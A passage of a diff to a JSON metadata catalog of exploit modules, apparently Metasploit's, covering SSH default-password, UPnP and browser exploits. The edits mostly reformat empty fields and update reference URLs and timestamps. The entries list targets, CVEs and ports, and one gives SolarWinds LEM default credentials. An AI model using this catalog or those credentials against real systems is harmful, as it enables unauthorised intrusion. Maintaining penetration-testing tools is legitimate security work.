"needs_cleanup": null @@ -97243,9 +85636,7 @@ "exploit_linux/ssh/microfocus_obr_shrboadmin": { "name": "Micro Focus Operations Bridge Reporter shrboadmin default password", "fullname": "exploit/linux/ssh/microfocus_obr_shrboadmin", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-09-21", "type": "exploit", @@ -97262,12 +85653,8 @@ "platform": "Unix", "arch": "cmd", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Micro Focus Operations Bridge Reporter (Linux) versions <= 10.40" ], @@ -97285,9 +85672,7 @@ "Reliability": [ "repeatable-session" ], - "SideEffects": [ - - ] + "SideEffects": [] }, "session_types": false, "needs_cleanup": null @@ -97295,9 +85680,7 @@ "exploit_linux/ssh/quantum_dxi_known_privkey": { "name": "Quantum DXi V1000 SSH Private Key Exposure", "fullname": "exploit/linux/ssh/quantum_dxi_known_privkey", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-03-17", "type": "exploit", @@ -97311,12 +85694,8 @@ "platform": "Unix", "arch": "cmd", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Universal" ], @@ -97334,9 +85713,7 @@ "Reliability": [ "repeatable-session" ], - "SideEffects": [ - - ] + "SideEffects": [] }, "session_types": false, "needs_cleanup": null @@ -97344,9 +85721,7 @@ "exploit_linux/ssh/quantum_vmpro_backdoor": { "name": "Quantum vmPRO Backdoor Command", "fullname": "exploit/linux/ssh/quantum_vmpro_backdoor", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-03-17", "type": "exploit", @@ -97360,12 +85735,8 @@ "platform": "Unix", "arch": "cmd", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Quantum vmPRO 3.1.2" ], @@ -97383,9 +85754,7 @@ "Reliability": [ "repeatable-session" ], - "SideEffects": [ - - ] + "SideEffects": [] }, "session_types": false, "needs_cleanup": null @@ -97393,9 +85762,7 @@ "exploit_linux/ssh/solarwinds_lem_exec": { "name": "SolarWinds LEM Default SSH Password Remote Code Execution", "fullname": "exploit/linux/ssh/solarwinds_lem_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-03-17", "type": "exploit", @@ -97405,21 +85772,17 @@ "description": "This module exploits the default credentials of SolarWinds LEM. A menu system is encountered when the SSH\n service is accessed with the default username and password which is \"cmc\" and \"password\". By exploiting a\n vulnerability that exist on the menuing script, an attacker can escape from restricted shell.\n\n This module was tested against SolarWinds LEM v6.3.1.", "references": [ "CVE-2017-7722", - "URL-http://pentest.blog/unexpected-journey-4-escaping-from-restricted-shell-and-gaining-root-access-to-solarwinds-log-event-manager-siem-product/" + "URL-http://web.archive.org/web/20250221015511/https://pentest.blog/unexpected-journey-4-escaping-from-restricted-shell-and-gaining-root-access-to-solarwinds-log-event-manager-siem-product/" ], "platform": "Python", "arch": "python", "rport": 32022, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], - "mod_time": "2023-01-31 23:59:22 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/linux/ssh/solarwinds_lem_exec.rb", "is_install_path": true, "ref_name": "linux/ssh/solarwinds_lem_exec", @@ -97433,9 +85796,7 @@ "Reliability": [ "repeatable-session" ], - "SideEffects": [ - - ] + "SideEffects": [] }, "session_types": false, "needs_cleanup": null @@ -97443,9 +85804,7 @@ "exploit_linux/ssh/symantec_smg_ssh": { "name": "Symantec Messaging Gateway 9.5 Default SSH Password Vulnerability", "fullname": "exploit/linux/ssh/symantec_smg_ssh", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-08-27", "type": "exploit", @@ -97464,12 +85823,8 @@ "platform": "Unix", "arch": "cmd", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Symantec Messaging Gateway 9.5" ], @@ -97487,9 +85842,7 @@ "Reliability": [ "repeatable-session" ], - "SideEffects": [ - - ] + "SideEffects": [] }, "session_types": false, "needs_cleanup": null @@ -97497,9 +85850,7 @@ "exploit_linux/ssh/vmware_vdp_known_privkey": { "name": "VMware VDP Known SSH Key", "fullname": "exploit/linux/ssh/vmware_vdp_known_privkey", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-12-20", "type": "exploit", @@ -97514,12 +85865,8 @@ "platform": "Unix", "arch": "cmd", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Universal" ], @@ -97537,9 +85884,7 @@ "Reliability": [ "repeatable-session" ], - "SideEffects": [ - - ] + "SideEffects": [] }, "session_types": false, "needs_cleanup": null @@ -97547,9 +85892,7 @@ "exploit_linux/ssh/vmware_vrni_known_privkey": { "name": "VMWare Aria Operations for Networks (vRealize Network Insight) SSH Private Key Exposure", "fullname": "exploit/linux/ssh/vmware_vrni_known_privkey", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-08-29", "type": "exploit", @@ -97569,12 +85912,8 @@ "platform": "Unix", "arch": "cmd", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "6.0_platform", "6.0_proxy", @@ -97624,9 +85963,7 @@ "exploit_linux/ssh/vyos_restricted_shell_privesc": { "name": "VyOS restricted-shell Escape and Privilege Escalation", "fullname": "exploit/linux/ssh/vyos_restricted_shell_privesc", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2018-11-05", "type": "exploit", @@ -97644,12 +85981,8 @@ "platform": "Unix", "arch": "cmd", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -97667,9 +86000,7 @@ "Reliability": [ "repeatable-session" ], - "SideEffects": [ - - ] + "SideEffects": [] }, "session_types": false, "needs_cleanup": null @@ -97677,9 +86008,7 @@ "exploit_linux/telnet/netgear_telnetenable": { "name": "NETGEAR TelnetEnable", "fullname": "exploit/linux/telnet/netgear_telnetenable", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2009-10-30", "type": "exploit", @@ -97697,12 +86026,8 @@ "platform": "Unix", "arch": "cmd", "rport": 23, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic (detect TCP or UDP)", "TCP (typically older devices)", @@ -97715,17 +86040,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/telnet/telnet_encrypt_keyid": { "name": "Linux BSD-derived Telnet Service Encryption Key ID Buffer Overflow", "fullname": "exploit/linux/telnet/telnet_encrypt_keyid", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2011-12-23", "type": "exploit", @@ -97762,17 +86084,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/upnp/belkin_wemo_upnp_exec": { "name": "Belkin Wemo UPnP Remote Code Execution", "fullname": "exploit/linux/upnp/belkin_wemo_upnp_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-04-04", "type": "exploit", @@ -97787,7 +86106,7 @@ "URL-https://github.com/phikshun/ufuzz", "URL-https://gist.github.com/phikshun/10900566", "URL-https://gist.github.com/phikshun/9984624", - "URL-https://www.crock-pot.com/wemo-landing-page.html", + "URL-http://web.archive.org/web/20180301171809/https://www.crock-pot.com/wemo-landing-page.html", "URL-https://www.belkin.com/us/support-article?articleNum=101177", "URL-http://www.wemo.com/" ], @@ -97813,7 +86132,7 @@ "Unix In-Memory", "Linux Dropper" ], - "mod_time": "2023-04-04 09:48:51 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/linux/upnp/belkin_wemo_upnp_exec.rb", "is_install_path": true, "ref_name": "linux/upnp/belkin_wemo_upnp_exec", @@ -97840,9 +86159,7 @@ "exploit_linux/upnp/dlink_dir859_exec_ssdpcgi": { "name": "D-Link Devices Unauthenticated Remote Command Execution in ssdpcgi", "fullname": "exploit/linux/upnp/dlink_dir859_exec_ssdpcgi", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-12-24", "type": "exploit", @@ -97858,12 +86175,8 @@ "platform": "Linux", "arch": "mipsbe", "rport": "1900", - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto" ], @@ -97874,17 +86187,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/upnp/dlink_dir859_subscribe_exec": { "name": "D-Link DIR-859 Unauthenticated Remote Command Execution", "fullname": "exploit/linux/upnp/dlink_dir859_subscribe_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-12-24", "type": "exploit", @@ -97925,17 +86235,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/upnp/dlink_upnp_msearch_exec": { "name": "D-Link Unauthenticated Remote Command Execution using UPnP via a special crafted M-SEARCH packet.", "fullname": "exploit/linux/upnp/dlink_upnp_msearch_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-02-01", "type": "exploit", @@ -98006,9 +86313,7 @@ "exploit_linux/upnp/miniupnpd_soap_bof": { "name": "MiniUPnPd 1.0 Stack Buffer Overflow Remote Code Execution", "fullname": "exploit/linux/upnp/miniupnpd_soap_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-03-27", "type": "exploit", @@ -98054,17 +86359,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_mainframe/ftp/ftp_jcl_creds": { "name": "FTP JCL Execution", "fullname": "exploit/mainframe/ftp/ftp_jcl_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-05-12", "type": "exploit", @@ -98074,9 +86376,7 @@ "S&Oxballs a.k.a. chiefascot" ], "description": "(Submit JCL to z/OS via FTP and SITE FILE=JES.\n This exploit requires valid credentials on the target system)", - "references": [ - - ], + "references": [], "platform": "Mainframe", "arch": "cmd", "rport": 21, @@ -98097,17 +86397,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/browser/adobe_flash_hacking_team_uaf": { "name": "Adobe Flash Player ByteArray Use After Free", "fullname": "exploit/multi/browser/adobe_flash_hacking_team_uaf", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2015-07-06", "type": "exploit", @@ -98126,12 +86423,8 @@ "platform": "Linux,Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows", "Linux" @@ -98154,9 +86447,7 @@ "exploit_multi/browser/adobe_flash_nellymoser_bof": { "name": "Adobe Flash Player Nellymoser Audio Decoding Buffer Overflow", "fullname": "exploit/multi/browser/adobe_flash_nellymoser_bof", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2015-06-23", "type": "exploit", @@ -98177,12 +86468,8 @@ "platform": "Linux,Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows", "Linux" @@ -98194,17 +86481,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/browser/adobe_flash_net_connection_confusion": { "name": "Adobe Flash Player NetConnection Type Confusion", "fullname": "exploit/multi/browser/adobe_flash_net_connection_confusion", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2015-03-12", "type": "exploit", @@ -98225,12 +86509,8 @@ "platform": "Linux,Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows", "Linux" @@ -98242,17 +86522,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/browser/adobe_flash_opaque_background_uaf": { "name": "Adobe Flash opaqueBackground Use After Free", "fullname": "exploit/multi/browser/adobe_flash_opaque_background_uaf", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2015-07-06", "type": "exploit", @@ -98264,40 +86541,33 @@ "description": "This module exploits an use after free on Adobe Flash Player. The vulnerability,\n discovered by Hacking Team and made public as part of the July 2015 data leak, was\n described as an Use After Free while handling the opaqueBackground property\n 7 setter of the flash.display.DisplayObject class. This module is an early release\n tested on:\n\n Windows XP SP3, IE8 and Flash 18.0.0.194,\n Windows XP SP3, IE 8 and Flash 18.0.0.203,\n Windows XP SP3, Firefox and Flash 18.0.0.203,\n Windows Vista SP2 + IE 9 and Flash 18.0.0.203,\n Windows Vista SP2 + Firefox 39.0 and Flash 18.0.0.203,\n Windows 7 SP1 (32-bit), IE11 and Adobe Flash 18.0.0.203,\n Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.194,\n Windows 7 SP1 (32-bit), IE9 and Adobe Flash 18.0.0.203,\n Windows 7 SP1 (32-bit), Firefox and Adobe Flash 18.0.0.194,\n Windows 8.1 (32-bit), IE11 and Adobe Flash 18.0.0.194,\n windows 8.1 (32-bit), Firefox and Adobe Flash 18.0.0.203,\n Windows 8.1 (32-bit), Firefox and Adobe Flash 18.0.0.160 and\n Windows 8.1 (32-bit), Firefox and Adobe Flash 18.0.0.194\n Windows 10 Build 10240 (32-bit) IE11, Firefox 39.0 and Adobe Flash 18.0.0.203", "references": [ "CVE-2015-5122", - "URL-https://www.fireeye.com/blog/threat-research/2015/07/cve-2015-5122_-_seco.html", + "URL-http://web.archive.org/web/20160508075917/https://www.fireeye.com/blog/threat-research/2015/07/cve-2015-5122_-_seco.html", "URL-https://helpx.adobe.com/security/products/flash-player/apsa15-04.html", "URL-https://helpx.adobe.com/security/products/flash-player/apsb15-18.html" ], "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows" ], - "mod_time": "2021-02-17 12:33:59 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb", "is_install_path": true, "ref_name": "multi/browser/adobe_flash_opaque_background_uaf", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/browser/adobe_flash_pixel_bender_bof": { "name": "Adobe Flash Player Shader Buffer Overflow", "fullname": "exploit/multi/browser/adobe_flash_pixel_bender_bof", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2014-04-28", "type": "exploit", @@ -98316,12 +86586,8 @@ "platform": "Linux,Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows", "Linux" @@ -98333,17 +86599,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/browser/adobe_flash_shader_drawing_fill": { "name": "Adobe Flash Player Drawing Fill Shader Memory Corruption", "fullname": "exploit/multi/browser/adobe_flash_shader_drawing_fill", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2015-05-12", "type": "exploit", @@ -98363,12 +86626,8 @@ "platform": "Linux,Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows", "Linux" @@ -98380,17 +86639,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/browser/adobe_flash_shader_job_overflow": { "name": "Adobe Flash Player ShaderJob Buffer Overflow", "fullname": "exploit/multi/browser/adobe_flash_shader_job_overflow", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2015-05-12", "type": "exploit", @@ -98410,12 +86666,8 @@ "platform": "Linux,Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows", "Linux" @@ -98427,17 +86679,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/browser/adobe_flash_uncompress_zlib_uaf": { "name": "Adobe Flash Player ByteArray UncompressViaZlibVariant Use After Free", "fullname": "exploit/multi/browser/adobe_flash_uncompress_zlib_uaf", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2014-04-28", "type": "exploit", @@ -98456,12 +86705,8 @@ "platform": "Linux,Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows", "Linux" @@ -98473,17 +86718,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/browser/chrome_array_map": { "name": "Google Chrome 72 and 73 Array.map exploit", "fullname": "exploit/multi/browser/chrome_array_map", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2019-03-07", "type": "exploit", @@ -98503,12 +86745,8 @@ "platform": "OSX,Windows", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -98536,9 +86774,7 @@ "exploit_multi/browser/chrome_cve_2021_21220_v8_insufficient_validation": { "name": "Google Chrome versions before 89.0.4389.128 V8 XOR Typer Out-Of-Bounds Access RCE", "fullname": "exploit/multi/browser/chrome_cve_2021_21220_v8_insufficient_validation", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2021-04-13", "type": "exploit", @@ -98551,7 +86787,7 @@ "description": "This module exploits an issue in the V8 engine on x86_x64 builds of Google Chrome before 89.0.4389.128/90.0.4430.72\n when handling XOR operations in JIT'd JavaScript code. Successful exploitation allows an attacker to execute\n arbitrary code within the context of the V8 process.\n\n As the V8 process is normally sandboxed in the default configuration of Google Chrome, the browser must be run with the\n --no-sandbox option for the payload to work correctly.", "references": [ "CVE-2021-21220", - "URL-https://github.com/r4j0x00/exploits/tree/master/chrome-0day", + "URL-http://web.archive.org/web/20210508220051/https://github.com/r4j0x00/exploits/tree/master/chrome-0day", "URL-https://twitter.com/r4j0x00/status/1382125720344793090", "URL-https://bugs.chromium.org/p/chromium/issues/detail?id=1196683", "URL-https://www.zerodayinitiative.com/advisories/ZDI-21-411/" @@ -98559,18 +86795,14 @@ "platform": "", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Linux - Google Chrome < 89.0.4389.128/90.0.4430.72 (64 bit)", "Windows 10 - Google Chrome < 89.0.4389.128/90.0.4430.72 (64 bit)", "macOS - Google Chrome < 89.0.4389.128/90.0.4430.72 (64 bit)" ], - "mod_time": "2023-02-10 18:04:31 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/multi/browser/chrome_cve_2021_21220_v8_insufficient_validation.rb", "is_install_path": true, "ref_name": "multi/browser/chrome_cve_2021_21220_v8_insufficient_validation", @@ -98594,9 +86826,7 @@ "exploit_multi/browser/chrome_jscreate_sideeffect": { "name": "Google Chrome 80 JSCreate side-effect type confusion exploit", "fullname": "exploit/multi/browser/chrome_jscreate_sideeffect", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2020-02-19", "type": "exploit", @@ -98616,12 +86846,8 @@ "platform": "", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 10 - Google Chrome 80.0.3987.87 (64 bit)", "macOS - Google Chrome 80.0.3987.87 (64 bit)" @@ -98650,9 +86876,7 @@ "exploit_multi/browser/chrome_object_create": { "name": "Google Chrome 67, 68 and 69 Object.create exploit", "fullname": "exploit/multi/browser/chrome_object_create", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2018-09-25", "type": "exploit", @@ -98674,12 +86898,8 @@ "platform": "Linux,OSX,Windows,Windows", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "No sandbox escape (--no-sandbox)", "Windows 7 (x64) sandbox escape via CVE-2019-1458" @@ -98708,9 +86928,7 @@ "exploit_multi/browser/chrome_simplifiedlowering_overflow": { "name": "Google Chrome versions before 87.0.4280.88 integer overflow during SimplfiedLowering phase", "fullname": "exploit/multi/browser/chrome_simplifiedlowering_overflow", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2020-11-19", "type": "exploit", @@ -98728,12 +86946,8 @@ "platform": "", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Linux - Google Chrome 87.0.4280.66 (64 bit)", "Windows 10 - Google Chrome 87.0.4280.66 (64 bit)", @@ -98763,9 +86977,7 @@ "exploit_multi/browser/firefox_escape_retval": { "name": "Firefox 3.5 escape() Return Value Memory Corruption", "fullname": "exploit/multi/browser/firefox_escape_retval", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-07-13", "type": "exploit", @@ -98783,12 +86995,8 @@ "platform": "OSX,Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Firefox 3.5.0 on Windows XP SP0-SP3", "Firefox 3.5.0 on Mac OS X 10.5.7 (Intel)" @@ -98800,17 +87008,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/browser/firefox_jit_use_after_free": { "name": "Firefox MCallGetProperty Write Side Effects Use After Free Exploit", "fullname": "exploit/multi/browser/firefox_jit_use_after_free", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2020-11-18", "type": "exploit", @@ -98829,12 +87034,8 @@ "platform": "Linux,Windows", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -98862,9 +87063,7 @@ "exploit_multi/browser/firefox_pdfjs_privilege_escalation": { "name": "Firefox PDF.js Privileged Javascript Injection", "fullname": "exploit/multi/browser/firefox_pdfjs_privilege_escalation", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2015-03-31", "type": "exploit", @@ -98881,12 +87080,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Universal (Javascript XPCOM Shell)", "Native Payload" @@ -98898,17 +87093,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/browser/firefox_proto_crmfrequest": { "name": "Firefox 5.0 - 15.0.1 __exposedProps__ XCS Code Execution", "fullname": "exploit/multi/browser/firefox_proto_crmfrequest", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-08-06", "type": "exploit", @@ -98926,12 +87118,8 @@ "platform": "Java,Linux,OSX,Solaris,Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Universal (Javascript XPCOM Shell)", "Native Payload" @@ -98943,17 +87131,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/browser/firefox_proxy_prototype": { "name": "Firefox Proxy Prototype Privileged Javascript Injection", "fullname": "exploit/multi/browser/firefox_proxy_prototype", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2014-01-20", "type": "exploit", @@ -98970,12 +87155,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Universal (Javascript XPCOM Shell)", "Native Payload" @@ -98987,17 +87168,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/browser/firefox_queryinterface": { "name": "Firefox location.QueryInterface() Code Execution", "fullname": "exploit/multi/browser/firefox_queryinterface", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2006-02-02", "type": "exploit", @@ -99014,12 +87192,8 @@ "platform": "Linux,OSX", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Firefox 1.5.0.0 Mac OS X", "Firefox 1.5.0.0 Linux" @@ -99031,17 +87205,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/browser/firefox_svg_plugin": { "name": "Firefox 17.0.1 Flash Privileged Code Injection", "fullname": "exploit/multi/browser/firefox_svg_plugin", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-01-08", "type": "exploit", @@ -99062,12 +87233,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Universal (Javascript XPCOM Shell)", "Native Payload" @@ -99079,17 +87246,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/browser/firefox_tostring_console_injection": { "name": "Firefox toString console.time Privileged Javascript Injection", "fullname": "exploit/multi/browser/firefox_tostring_console_injection", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-05-14", "type": "exploit", @@ -99105,12 +87269,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Universal (Javascript XPCOM Shell)", "Native Payload" @@ -99122,17 +87282,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/browser/firefox_webidl_injection": { "name": "Firefox WebIDL Privileged Javascript Injection", "fullname": "exploit/multi/browser/firefox_webidl_injection", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-03-17", "type": "exploit", @@ -99148,12 +87305,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Universal (Javascript XPCOM Shell)", "Native Payload" @@ -99165,17 +87318,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/browser/firefox_xpi_bootstrapped_addon": { "name": "Mozilla Firefox Bootstrapped Addon Social Engineering Code Execution", "fullname": "exploit/multi/browser/firefox_xpi_bootstrapped_addon", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2007-06-27", "type": "exploit", @@ -99194,12 +87344,8 @@ "platform": "Java,Linux,OSX,Solaris,Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Universal (Javascript XPCOM Shell)", "Native Payload" @@ -99230,9 +87376,7 @@ "exploit_multi/browser/itms_overflow": { "name": "Apple OS X iTunes 8.1.1 ITMS Overflow", "fullname": "exploit/multi/browser/itms_overflow", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-06-01", "type": "exploit", @@ -99249,12 +87393,8 @@ "platform": "OSX", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "OS X" ], @@ -99265,17 +87405,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/browser/java_atomicreferencearray": { "name": "Java AtomicReferenceArray Type Violation Vulnerability", "fullname": "exploit/multi/browser/java_atomicreferencearray", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-02-14", "type": "exploit", @@ -99299,12 +87436,8 @@ "platform": "Java,Linux,OSX,Solaris,Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": 